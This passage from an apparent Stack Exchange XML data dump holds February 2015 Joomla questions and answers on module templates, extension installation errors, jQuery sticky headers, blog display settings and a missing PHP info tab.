&amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Criar página de publicidade.&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename module=&quot;mod_publicidade&quot;&amp;gt;mod_publicidade.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;filename&amp;gt;mod_publicidade.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;&#xA;                &amp;lt;field name=&quot;html&quot; type=&quot;textarea&quot; rows=&quot;10&quot; cols=&quot;30&quot; filter=&quot;raw&quot;/&amp;gt;&#xA;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1744" LastEditorUserId="159" LastEditDate="2015-02-06T19:59:58.777" LastActivityDate="2015-02-06T20:44:55.603" Title="Render HTML string on a page from a module" Tags="|module|fix-my-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7505" PostTypeId="2" ParentId="7504" CreationDate="2015-02-06T20:44:55.603" Score="1" Body="&lt;p&gt;There is nothing wrong with the plugin itself, apart that you are not actually calling the template: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require JModuleHelper::getLayoutPath('mod_publicidade');. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what you are describing, the HTML is probably not properly saved in the database, maybe a HTML filter.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-02-06T20:44:55.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7506" PostTypeId="2" ParentId="7491" CreationDate="2015-02-06T21:01:37.670" Score="3" Body="&lt;p&gt;Your concern is justified. Indeed, if there is an SQL error, the backend of the module will crash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is a must have for you, I would look into extending the &lt;code&gt;JFormFieldSQL&lt;/code&gt; with a custom implementation where you can check for SQL errors or do a MYSQL check like  &lt;code&gt;SHOW TABLES LIKE 'mycomponenttable'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/questions/14197236/how-to-create-a-custom-form-field-type-in-a-module&quot;&gt;How to create a custom form field type in a module?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-02-06T21:01:37.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7507" PostTypeId="1" CreationDate="2015-02-06T21:17:47.537" Score="2" ViewCount="1375" Body="&lt;p&gt;I'm getting a blank page when attempting to install AutoTweetNG on Joomla 2.5. I've already checked the post_max_size and upload_max_filesize variables in the php.ini, which are set to 20M and 60M respectively. I know that post_max_size should be at least as much as the upload_max_filesize because it takes precedence when uploading, but the filesize of the extension is far below the limit. Error reporting is also on, yet the page doesn't display any errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Uploading from the package file:&lt;/strong&gt; Blank page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Uploading from directory:&lt;/strong&gt; Blank page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Uploading from URL:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Error alternates between:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error connecting to the server: SignatureDoesNotMatchThe request signature we calculated does not match the signature you provided. Check your key and signing method.AKIAJJR5V3C52VV5NZFQGET 1423257975 /xtl-repo/autotweetng-free/UNZIPME-autotweetng-free-v7.6.1.ziplulF3Na fitF0he7nYydlNZPYpQ=47 45 54 0a 0a 0a 31 34 32 33 32 35 37 39 37 35 0a 2f 78 74 6c 2d 72 65 70 6f 2f 61 75 74 6f 74 77 65 65 74 6e 67 2d 66 72 65 65 2f 55 4e 5a 49 50 4d 45 2d 61 75 74 6f 74 77 65 65 74 6e 67 2d 66 72 65 65 2d 76 37 2e 36 2e 31 2e 7a 69 70721094E0DA5021BAA/gSDt7RRP8K2NwWGRjeo9gQtXPzihJSt9gFd+w5j0Hsn68oc8rNacuV+aIc72AX&#xA;Invalid URL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;And:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unknown Archive type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Been at this for a few days, any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Forgot to add, I am able to successfully install all other extensions. It's only&lt;br&gt;&#xA;      this one I'm having trouble with.&lt;/p&gt;&#xA;" OwnerUserId="3664" LastActivityDate="2016-03-15T15:37:37.260" Title="Blank page after attempting to install extension" Tags="|joomla-2.5|component|module|plugin|extensions|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7508" PostTypeId="2" ParentId="7507" CreationDate="2015-02-06T21:24:26.537" Score="1" Body="&lt;p&gt;If you try to install with an Url, you have to install with the Url targeting to a component file. It is a common practice to name extensions with UNZIPME-....zip when it includes optional plugins or other assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, you have to download, unzip the file and install the main component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, review the installation instructions: &lt;a href=&quot;http://www.extly.com/docs/autotweetng_joocial/installation.html&quot; rel=&quot;nofollow&quot;&gt;http://www.extly.com/docs/autotweetng_joocial/installation.html&lt;/a&gt; , and check if you are running the latest Joomla 2.5.28.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-02-06T23:54:27.380" LastActivityDate="2015-02-06T23:54:27.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7509" PostTypeId="2" ParentId="7489" CreationDate="2015-02-06T21:32:38.817" Score="1" Body="&lt;p&gt;I am not sure if you noticed, but fields have a specific naming convention, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jform[params][sitetitle]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this will anyway not do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has a security mechanism in &lt;code&gt;JControllerForm::save()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Test whether the data is valid.&#xA;    $validData = $model-&amp;gt;validate($form, $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The posted data will be checked / validated against the XML with fields / parameters.  Since you have not defined your field, it will be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the &lt;a href=&quot;https://docs.joomla.org/Repeatable_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Repeatable form field type&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-02-06T21:32:38.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7510" PostTypeId="2" ParentId="7494" CreationDate="2015-02-06T22:41:32.837" Score="1" Body="&lt;p&gt;As others pointed out, you would want a module for this. However, the normal &quot;Custom HTML&quot; module will probably strip out your CSS code (and possibly parts of your HTML code as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend a module called &lt;a href=&quot;http://extensions.joomla.org/extension/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt;. This module will let you add HTML, CSS and even PHP without filtering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another useful feature is that you can reference CSS styles and CSS files into the HTML header. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-06T22:41:32.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7511" PostTypeId="2" ParentId="7507" CreationDate="2015-02-07T00:11:55.847" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Check your php/apache error logs  And / Or &lt;/li&gt;&#xA;&lt;li&gt;Uninstall and reinstall the latest version of Xampp And / Or&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the extension is supported for Joomla version you are installing on And&#xA;    / Or&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unzip the contents of the extension and extract it. Then make sure that your unzipped folder has a valid extension XML file.&#xA;        Re-Zip the contents and try to install the newly zipped file.  And /&#xA;        Or&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start a FRESH htdocs folder for your site. Install a latest&#xA;    fresh copy of Joomla and right away before installing anything else,&#xA;    install that extension.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Source: I develop joomla extensions and templates for StarAzure.com&lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2015-02-07T00:11:55.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7512" PostTypeId="2" ParentId="7507" CreationDate="2015-02-07T00:58:11.067" Score="0" Body="&lt;p&gt;Sounds like the script isn't coming back. As far as I know, PHP is only rendering at the end of the script. So, if the script reaches its max execution time, it displays a blank page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to set a higher value to your max_execution_time variable in your php.ini and to install it via the joomla package installer again. Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-02-07T00:58:11.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7513" PostTypeId="2" ParentId="7498" CreationDate="2015-02-07T02:45:30.097" Score="0" Body="&lt;p&gt;I'm reasonably sure that the newer VM uses Custom Fields to create Product Attributes.  I haven't done it myself with VM3, but &lt;a href=&quot;https://www.gavick.com/documentation/supported-third-party-extensions-for-joomla/virtuemart-e-commerce-component/how-to-add-attributes-in-virtuemart&quot; rel=&quot;nofollow&quot;&gt;How to create the VM custom fields&lt;/a&gt; walks through it pretty well.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-02-07T02:45:30.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7514" PostTypeId="1" AcceptedAnswerId="7515" CreationDate="2015-02-07T09:29:52.203" Score="0" ViewCount="2616" Body="&lt;p&gt;I am working on Urban Life template of joomla XTC framework. Its header can be made sticky from back-end (I made it non-sticky from back-end). I am adding a div which contains a banner above the existing header of template and it should be non sticky. while the header containing menu should stick after scroll. I added the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function(){&#xA;&#xA;&#xA;        var stickyHeaderTop = $('#header').offset().top;&#xA;&#xA;        $(window).scroll(function(){&#xA;                if( $(window).scrollTop() &amp;gt; stickyHeaderTop ) {&#xA;                        $('#header').css({position: 'fixed', top: '0px'});&#xA;&#xA;                } else {&#xA;                        $('#header').css({position: 'static', top: '0px'});&#xA;&#xA;                }&#xA;        });&#xA;  });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The existing code of template is as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($stickyClass == 'sticky' &amp;amp;&amp;amp; !$xtc-&amp;gt;agent-&amp;gt;isMobile) { ?&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;  jQuery(window).scroll(function () {&#xA;      if (jQuery(&quot;#headerwrap&quot;).offset().top &amp;gt; 1) {&#xA;          jQuery(&quot;#headerwrap&quot;).addClass(&quot;stickyscroll&quot;)&#xA;      } else {&#xA;          jQuery(&quot;#headerwrap&quot;).removeClass(&quot;stickyscroll&quot;)&#xA;      }&#xA;  });&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now to display we have the following code in the body. Note the div top is added by me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;&amp;lt;?php echo $pageview;?&amp;gt; &amp;lt;?php echo $stickyClass;?&amp;gt; &amp;lt;?php echo $pageclass; ?&amp;gt; &amp;lt;?php echo $extension; ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;div id=&quot;headerwrap&quot; class=&quot;&amp;lt;?php echo $stickyClass;?&amp;gt; xtc-bodygutter&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;top&quot;&amp;gt;&#xA;        &amp;lt;p style=&quot;&quot;&amp;gt;&amp;lt;img style=&quot;display: block; margin-left: auto; margin-right: auto; border: 1px solid #ffffff; width: 725px;&quot; src=&quot;images/banners/jeeptop.gif&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;div id=&quot;header&quot; class=&quot;&amp;lt;?php echo $hdclass; ?&amp;gt; clearfix&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;logo&quot; class=&quot;hd2&quot;&amp;gt;&#xA;                &amp;lt;a class=&quot;hideTxt&quot; href=&quot;index.php&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $app-&amp;gt;getCfg('sitename');?&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It didn't work. Please suggest any solution.&lt;/p&gt;&#xA;" OwnerUserId="3517" LastEditorUserId="126" LastEditDate="2015-02-07T10:29:11.963" LastActivityDate="2016-06-07T20:01:38.513" Title="Sticky header after small scroll" Tags="|fix-my-code|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7515" PostTypeId="2" ParentId="7514" CreationDate="2015-02-07T11:35:07.293" Score="2" Body="&lt;p&gt;Firstly, disable the sticky header for your template. The add the following into your CSS file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#header.sticky {&#xA;    position: fixed;&#xA;    top: 0;&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then your jQuery scroll detection will be as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;&#xA;    var headerwrap = $('#header');&#xA;&#xA;    $(window).scroll(function(){&#xA;&#xA;        var scroll = $(this).scrollTop();&#xA;        var topDist = 100;&#xA;&#xA;        if( scroll &amp;gt; topDist ) {&#xA;            headerwrap.addClass('sticky');&#xA;        }&#xA;        else {&#xA;            headerwrap.removeClass('sticky');&#xA;        }&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can of course change &lt;code&gt;100&lt;/code&gt; which is the scroll offset to whatever you wish. Just remember that adding a class to an element and targeting that class via CSS is far better than actually using jQuery to add CSS to an element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="3517" LastEditDate="2015-02-09T11:13:27.620" LastActivityDate="2015-02-09T11:13:27.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7517" PostTypeId="2" ParentId="7491" CreationDate="2015-02-07T13:09:22.210" Score="1" Body="&lt;p&gt;You can just check if the extension is enabled at the top of the module mod_.....php to prevent any further processing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check for component&#xA;if (!JComponentHelper::getComponent('com_....', true)-&amp;gt;enabled)&#xA;{&#xA;....&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-02-07T13:09:22.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7518" PostTypeId="2" ParentId="4791" CreationDate="2015-02-07T15:03:49.100" Score="0" Body="&lt;p&gt;I also had this issue and it was due to extra tables in the database, possibly from a previous upgrade failure. I set up a new install and compared databases. Then dropped the following tables:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;jos_contentitem_tag_map &lt;/li&gt;&#xA;&lt;li&gt;jos_content_types &lt;/li&gt;&#xA;&lt;li&gt;jos_postinstall_messages&lt;/li&gt;&#xA;&lt;li&gt;jos_tags &lt;/li&gt;&#xA;&lt;li&gt;jos_ucm_base &lt;/li&gt;&#xA;&lt;li&gt;jos_ucm_content &lt;/li&gt;&#xA;&lt;li&gt;jos_ucm_history &lt;/li&gt;&#xA;&lt;li&gt;jos_user_keys&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I could then upgrade from 2.5.28 direct to 3.3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone else&lt;/p&gt;&#xA;" OwnerUserId="3666" LastEditorUserId="168" LastEditDate="2015-02-07T16:36:46.487" LastActivityDate="2015-02-07T16:36:46.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7520" PostTypeId="1" CreationDate="2015-02-08T10:47:38.270" Score="1" ViewCount="345" Body="&lt;p&gt;Is there any default options or modules in Joomla 3 that allow display the select dropdown in the Category Blog page so that I can choose how many articles per page to show?&lt;/p&gt;&#xA;" OwnerUserId="3671" LastActivityDate="2022-04-27T22:34:07.160" Title="Show Select dropdown in the Category Blog menu" Tags="|menu-item|menu-parameters|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7521" PostTypeId="1" CreationDate="2015-02-08T11:07:09.540" Score="3" ViewCount="407" Body="&lt;p&gt;Is it possible to display details information (author, create date, ...) in the articles but hide it in the blog page (with multiple articles)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that if I create a Home menu with the Category Blog type and hide all the details in the blog then these detailes are hidden in the articles too when I open them. If I move the Home menu say to the second position the details are shown/hidden correctly (hidden in the blog, shown in the single articles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a bug?&lt;/p&gt;&#xA;" OwnerUserId="3671" LastActivityDate="2023-05-20T12:38:32.800" Title="Hide details in the Category Blog menu and display them in the single article" Tags="|menu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7522" PostTypeId="1" CreationDate="2015-02-08T11:35:33.420" Score="6" ViewCount="1157" Body="&lt;p&gt;Does Joomla 3 has some default options to set a smaller image size in the Blog view (thumbnail) and the normal size in the article?&lt;/p&gt;&#xA;" OwnerUserId="3671" LastEditorUserId="159" LastEditDate="2015-02-09T20:24:31.120" LastActivityDate="2015-02-09T20:24:31.120" Title="Thumbnail in the blog" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7523" PostTypeId="2" ParentId="7521" CreationDate="2015-02-08T14:12:54.393" Score="2" Body="&lt;p&gt;Probably not, you don't really give all the necessary information, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The article links in the blog view are just that: links to the articles. If your blog view menu item is the first menu item that shows the correct category, that is used with its hide details settings. If before that you have another menu item that can show the article its settings are used instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally this is done with a separate menu that isn't assigned to any module and doesn't do anything except provide overrides to how articles are shown. In addition to content component settings these hidden menus can also be assigned modules, template styles, and plug-ins, so you can fully configure how the articles are shown.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-02-08T14:12:54.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7524" PostTypeId="2" ParentId="7522" CreationDate="2015-02-08T15:18:53.040" Score="6" Body="&lt;p&gt;Nope, not directly. Each article can have two different images:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;intro image&lt;/strong&gt; is used for article teasers like a blog view or search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;fulltext image&lt;/strong&gt; is used for the article view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could use the same image but different sizes. Besides that you have always the possibility to create a template overwrite and alternate the output.&lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-02-08T15:18:53.040" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7526" PostTypeId="2" ParentId="7520" CreationDate="2015-02-08T20:19:16.690" Score="3" Body="&lt;p&gt;No, there isn't. The amount of articles is defined by multiple params. See ContentModelCategory line 189:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$limit = $params-&amp;gt;get('num_leading_articles') + $params-&amp;gt;get('num_intro_articles') + $params-&amp;gt;get('num_links');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-02-08T20:19:16.690" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7527" PostTypeId="1" CreationDate="2015-02-09T08:54:43.947" Score="2" ViewCount="91" Body="&lt;p&gt;What are the most basic extensions to be installed for a Joomla personal blog site? Can everything be handled only by 5 extensions? No more features needed, but only the basic functions like security and speed.&lt;/p&gt;&#xA;" OwnerUserId="3658" LastActivityDate="2015-02-10T15:56:25.663" Title="Which Extensions to Install for New Joomla Blog" Tags="|joomla-3.x|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7528" PostTypeId="2" ParentId="7527" CreationDate="2015-02-09T09:55:16.917" Score="3" Body="&lt;p&gt;one of the extension that I would suggest is easy blog, it has a number of features including spam control and allows for third party plugin integrations.Here is the link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/easyblog&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/easyblog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you want it to have wordpress features then check this one :-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/wordpress-blog-for-joomla&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/wordpress-blog-for-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But both are paid extensions so check the reviews from other users before purchasing.&lt;/p&gt;&#xA;" OwnerUserId="1864" LastActivityDate="2015-02-09T09:55:16.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7529" PostTypeId="2" ParentId="7527" CreationDate="2015-02-09T10:02:01.550" Score="2" Body="&lt;p&gt;Joomla has it's own Article Manager. Each article you can assign to a category of your choice. You can then use the core Joomla modules to display things such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;List of categories&lt;/li&gt;&#xA;&lt;li&gt;5 latest articles&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's &lt;strong&gt;no need&lt;/strong&gt; to use 3rd party extensions for a simple blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for speed, in your case, this all simply depends on your hosting environment and size of images used if there are any&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-09T10:02:01.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7530" PostTypeId="1" CreationDate="2015-02-09T10:53:58.120" Score="2" ViewCount="278" Body="&lt;p&gt;I am trying to get a readmore link after every single blog entry on a Joomla 3.2.3 Page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already edited &lt;code&gt;components/com_content/views/category/tmpl/blog_item.php&lt;/code&gt; to take out the php &lt;code&gt;if ($params-&amp;gt;get('show_readmore')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But entrys with just little Text are still missing a read more link.&#xA;The position of the read more link seems to be set by a fixed number of characters to limit the blog-text length - which is an option I have not found (yet?).&lt;/p&gt;&#xA;" OwnerUserId="3550" LastEditorUserId="3550" LastEditDate="2015-02-09T12:07:27.210" LastActivityDate="2015-02-09T12:20:32.447" Title="Display readmore link in all blog entrys" Tags="|articles|content|category|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7533" PostTypeId="2" ParentId="7530" CreationDate="2015-02-09T12:20:32.447" Score="2" Body="&lt;p&gt;I found the answer.&#xA;There is another file controling the frontpage blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After deleting &lt;code&gt;if ($params-&amp;gt;get('show_readmore')&lt;/code&gt; in &lt;code&gt;components/com_content/views/featured/tmpl/default_item.php&lt;/code&gt; too I got the result I hoped for.&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2015-02-09T12:20:32.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7535" PostTypeId="1" AcceptedAnswerId="7536" CreationDate="2015-02-09T15:37:22.847" Score="1" ViewCount="886" Body="&lt;p&gt;Having some (phpmailer) mail issues today with my site so I though of checking System &gt; System Info &gt; Php Info and it's blank. No info at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although there is info on each of the other tabs (PHP Settings, Config File &amp;amp; Directory Permissions). Img included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TCaxW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested on different browsers and cleared cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would cause this and any suggestions on how to resolve? Possible hack? Everything else on the site seems to be working front end and back. I am able to ftp to the site and view the config.php file which again looks ok to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.3.0 No recent changes/installations made.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-02-09T16:59:10.833" Title="PHP Info Missing" Tags="|joomla-3.x|php|global-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7536" PostTypeId="2" ParentId="7535" CreationDate="2015-02-09T16:41:29.303" Score="4" Body="&lt;p&gt;Could it be that your server is configured to prevent the view of &lt;code&gt;phpinfo()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out your server php.ini to find the line saying &lt;code&gt;disable_functions = phpinfo&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you could remove the &lt;code&gt;phpinfo&lt;/code&gt;-entry and try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: just checked my guess on my local machine. The error message is the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Undefined offset: 0 in /joomlahome/administrator/components/com_admin/models/sysinfo.php on line 174 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can alter your &lt;code&gt;php.ini&lt;/code&gt;, create a local one or ask your friendly administrator to do this for you. (see &lt;a href=&quot;https://www.drupal.org/node/243993&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3605" LastEditorUserId="3605" LastEditDate="2015-02-09T16:59:10.833" LastActivityDate="2015-02-09T16:59:10.833" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7537" PostTypeId="1" CreationDate="2015-02-09T17:33:47.667" Score="3" ViewCount="153" Body="&lt;p&gt;I am trying to use the »repeatable« form field. Right now I have this in code in the &lt;code&gt;templateDetails.xml&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;advanced&quot;&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;field &#xA;                type=&quot;repeatable&quot; &#xA;                label=&quot;label&quot;&#xA;                name=&quot;stuff_list&quot;&#xA;                default='{&quot;stuffCSS&quot;:[], &quot;stuffFile&quot;: []}'&amp;gt;&#xA;&#xA;                &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;                    &amp;lt;fieldset hidden=&quot;true&quot; name=&quot;stuff_list_modal&quot; repeat=&quot;true&quot;&amp;gt;&#xA;                        &amp;lt;field type=&quot;filelist&quot;&#xA;                            label=&quot;stuffFile&quot;&#xA;                            name=&quot;stuffFile&quot;&#xA;                            hide_default=&quot;true&quot;&#xA;                            hide_none=&quot;true&quot;&#xA;                            directory=&quot;templates/tmpl/img&quot; /&amp;gt;&#xA;&#xA;                        &amp;lt;field type=&quot;text&quot;&#xA;                            label=&quot;stuffCSS&quot;&#xA;                            name=&quot;stuffCSS&quot;&#xA;                            default=&quot;&quot; /&amp;gt;&#xA;&#xA;                    &amp;lt;/fieldset&amp;gt;&#xA;                &amp;lt;/fields&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    